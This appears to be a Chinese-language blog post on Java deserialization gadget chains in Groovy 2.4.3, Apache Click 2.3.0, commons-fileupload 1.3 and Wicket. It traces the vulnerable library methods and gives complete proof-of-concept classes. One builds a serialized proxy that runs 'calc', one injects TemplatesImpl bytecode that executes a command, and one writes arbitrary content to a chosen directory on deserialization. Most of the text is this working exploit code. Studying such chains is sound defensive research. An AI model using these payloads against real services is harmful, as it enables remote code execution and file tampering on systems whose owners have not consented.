Groovy

依赖

1
2
3
4
5
6
   <!-- Groovy : 1.7.0-2.4.3 -->	
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.3</version>
</dependency>

MethodClosure中有一个 doCall 方法,调用 InvokerHelper.invokeMethod() 方法进行方法调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public MethodClosure(Object owner, String method) {
super(owner);
this.method = method;

final Class clazz = owner.getClass()==Class.class?(Class) owner:owner.getClass();

maximumNumberOfParameters = 0;
parameterTypes = EMPTY_CLASS_ARRAY;

List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);

for(MetaMethod m : methods) {
if (m.getParameterTypes().length > maximumNumberOfParameters) {
Class[] pt = m.getNativeParameterTypes();
maximumNumberOfParameters = pt.length;
parameterTypes = pt;
}
}
}

public String getMethod() {
return method;
}

protected Object doCall(Object arguments) {
return InvokerHelper.invokeMethod(getOwner(), method, arguments);
}

那么这样就可以执行命令;

1
2
3
4
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");

ProcessGroovyMethods.execute()方法

1
2
3
public static Process execute(final String self) throws IOException {
return Runtime.getRuntime().exec(self);
}

String.execute() 方法

Groovy 为 String 类型添加了 execute() 方法,以便执行 shell 命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令 “ls”。

在 Java 中,就可以直接写做:就是时调用”calc”字符串的execute函数;最终执行calc命令

1
2
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();

doCall方法由protected修饰,所以调用call方法;MethodClosure是没有call方法的,最终调用其父类Closure.call()

但是看代码得知,最终还是调回到MethodClosure.doCall(args)

1
2
3
4
5
6
7
8
9
10
public V call(Object... args) {
try {
return (V) getMetaClass().invokeMethod(this,"doCall",args);
} catch (InvokerInvocationException e) {
ExceptionUtils.sneakyThrow(e.getCause());
return null; // unreachable statement
} catch (Exception e) {
return (V) throwRuntimeException(e);
}
}

ConvertedClosure的父类是ConversionHandler

ConversionHandler这个类实现了InvocationHandler接口;思路是这样的,为ConvertedClosure类搞一个代理;当调用方法时就会执行到ConversionHandler.invoke();ConversionHandler.invoke()调用了invokeCustom方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
VMPlugin plugin = VMPluginFactory.getPlugin();
if (plugin.getVersion()>=7 && isDefaultMethod(method)) {
Object handle = handleCache.get(method);
if (handle == null) {
handle = plugin.getInvokeSpecialHandle(method, proxy);
handleCache.put(method, handle);
}
return plugin.invokeHandle(handle, args);
}

if (!checkMethod(method)) {
try {
return invokeCustom(proxy, method, args); // <<==
......

ConvertedClosure.invokeCustom方法中,如果要代理的函数名和String method相同,就会调用call;

((Closure) getDelegate())其实就是得到ConvertedClosure构造函数的第一个参数,很明显;这些值都是可控的,那么我们就可以去调用一个MethodClosure的call函数,从而导致命令执行;

1
2
3
4
5
6
7
8
9
10
   public ConvertedClosure(Closure closure, String method) {
super(closure);
this.methodName = method;
}

public Object invokeCustom(Object proxy, Method method, Object[] args)
throws Throwable {
if (methodName!=null && !methodName.equals(method.getName())) return null;
return ((Closure) getDelegate()).call(args);
}

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package groovy;

import org.codehaus.groovy.runtime.ConversionHandler;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import org.codehaus.groovy.runtime.ProcessGroovyMethods;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.Map;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws Exception {

MethodClosure methodClosure = new MethodClosure("calc", "execute");

//第二个参数为"entrySet"是为了使invokeCustom的if为true
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(),
new Class[]{Map.class}, closure);

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);

serialize(invocationHandler);
unserialize();

//入口链用"PriorityQueue"也是可以的,如果要用记,得改第二个参数为"compares",否则invokeCustom的if过不去
// Comparator<Object> comparator = (Comparator<Object>) Proxy.newProxyInstance(
// Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, closure);
//
// PriorityQueue<Object> queue = new PriorityQueue<>(comparator);
//只能通过反射将size的值改为2;要使得参数为空;不能像之前一样add两个数据,否则最终会执行"calc".execute(数据1,数据2)==>报错,
// Field size = queue.getClass().getDeclaredField("size");
// size.setAccessible(true);
// size.set(queue,2);
// serialize(queue);
// unserialize();


}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}

gadget:

1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

或者(就是入口链不一样)

1
2
3
4
5
6
PriorityQueue.readObject()
comparator.compare() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

Click1

依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.click</groupId>
<artifactId>click-nodeps</artifactId>
<version>2.3.0</version>
</dependency>

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>

Column类的内部类:ColumnComparator类调用了compare方法

this.column是可控的;使他调用到Column.getProperty();

然后会调用到PropertyUtils.getValue;

getObjectPropertyValue方法:”source”形参和”name”形参都是可控的;如果使得”source”形参为恶意的TemplatesImpl对象,”name”为outputProperties;最后method.invoke(source);就会调用TemplatesImpl.getoutputProperties;这就和CB链很像;

1
2
3
4
5
6
7
8
9
10
11
12
private static Object getObjectPropertyValue(Object source, String name, Map cache) {
CacheKey methodNameKey = new CacheKey(source, name);
Method method = null;

try {
method = (Method)cache.get(methodNameKey);
if (method == null) {
method = source.getClass().getMethod(ClickUtils.toGetterName(name)); //<<===
cache.put(methodNameKey, method);
}

return method.invoke(source); //<<===
1
2
3
4
5
6
7
public static String toGetterName(String property) {
HtmlStringBuffer buffer = new HtmlStringBuffer(property.length() + 3);
buffer.append("get");
buffer.append(Character.toUpperCase(property.charAt(0)));
buffer.append(property.substring(1));
return buffer.toString();
}

gadget

1
2
3
4
5
6
PriorityQueue.readObject()
Column$ColumnComparator.compare()
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
TemplatesImpl.getOutputProperties()

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package click;
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws Exception {
String cmd = "calc";
//TemplateImpl 动态加载字节码
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("a");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
byte[] code=payload.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();

Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"zIxyd");

byte[][] bytes= {code};

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Column column = new Column("outputProperties");
//防止空指针异常
column.setTable(new Table());

Class clazz = Class.forName("org.apache.click.control.Column$ColumnComparator");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Column.class);
declaredConstructor.setAccessible(true);
Comparator comparator = (Comparator)declaredConstructor.newInstance(column);

//先填垃圾数据,防止反序列化时就调用,后面在通过反射改回来
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1);
priorityQueue.add(1);
priorityQueue.add(2);

//通过反射将垃圾数据改成恶意数据
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(priorityQueue);
objects[0] = templates;

Field comparatorField = priorityQueue.getClass().getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,comparator);

serialize(priorityQueue);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}

FileUpload1

依赖

1
2
3
4
5
6
7
8
9
10
11
12
  <!-- commons-fileupload : 1.3.x -->
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3</version>
</dependency>

<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>

FileUpload 组件是 Apache 提供的上传组件,它本身依赖于 commons-io 组件,ysoserial 中利用了这个组件来任意写、读文件或者目录。但是具体是对文件还是目录操作与 FileUpload 以及 JDK 的版本有关。

受空字节截断影响的JDK版本范围:JDK<1.7.40;FileUpload 在 1.3.1 版本中,官方对空字节截断进行了修复,在 readObject 中,判断成员变量 repository 是否为空,不为空的情况下判断是不是目录,并判断目录路径中是否包含 \0 空字符。

org.apache.commons.fileupload.disk.DiskFileItem类的readObject

getOutputStream方法:由于dfos无法反序列化(transient),只能为空;getTempFile方法返回一个File对象,其中repository是可以控制的,也就是目录是可控的,但是文件名不可控(低版本可以用空字符绕过,使得文件名也可控);

最终返回一个DeferredFileOutputStream对象;cachedContent可以通过反射改为我们想要写的内容,那么就可以任意目录写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
// read values
in.defaultReadObject();

OutputStream output = getOutputStream();
if (cachedContent != null) {
output.write(cachedContent);
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
dfosFile = null;
}
output.close();

cachedContent = null;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public OutputStream getOutputStream()
throws IOException {
if (dfos == null) {
File outputFile = getTempFile();
dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);
}
return dfos;
}

protected File getTempFile() {
if (tempFile == null) {
File tempDir = repository;
if (tempDir == null) {
tempDir = new File(System.getProperty("java.io.tmpdir"));
}

String tempFileName = format("upload_%s_%s.tmp", UID, getUniqueId());

tempFile = new File(tempDir, tempFileName);
}
return tempFile;
}

writeObject;

要使得cachedContent可控,就要使得dfos.isInMemory()返回True;

1
2
3
4
5
6
7
8
9
10
11
12
private void writeObject(ObjectOutputStream out) throws IOException {
// Read the data
if (dfos.isInMemory()) {
cachedContent = get();
} else {
cachedContent = null;
dfosFile = dfos.getFile();
}

// write out values
out.defaultWriteObject();
}

其实也就是通过判断 written 的长度和 threshold 阈值长度大小,如果写入大于阈值,则会被写出到文件中,那就不是存在内存中了

1
2
3
4
5
6
7
8
9
    public boolean isInMemory()
{
return !isThresholdExceeded();
}
//org.apache.commons.io.output.ThresholdingOutputStream类下
public boolean isThresholdExceeded()
{
return written > threshold;
}

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package fileupload;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;

import java.io.*;
import java.lang.reflect.Field;

public class Test1 {
public static void main(String[] args) throws Exception {

byte[] bytes = "zIxyd...".getBytes();
File repository = new File("E:/tmp");

DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);

DeferredFileOutputStream deferredFileOutputStream = new DeferredFileOutputStream(0, null);

Field dfos = diskFileItem.getClass().getDeclaredField("dfos");
dfos.setAccessible(true);
dfos.set(diskFileItem,deferredFileOutputStream);

Field cachedContent = diskFileItem.getClass().getDeclaredField("cachedContent");
cachedContent.setAccessible(true);
cachedContent.set(diskFileItem,bytes);

serialize(diskFileItem);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}

Wicket1

Apache Wicket 抄了 FileUpload 的代码,就是说包名不同,攻击手法和FileUpload1是一样的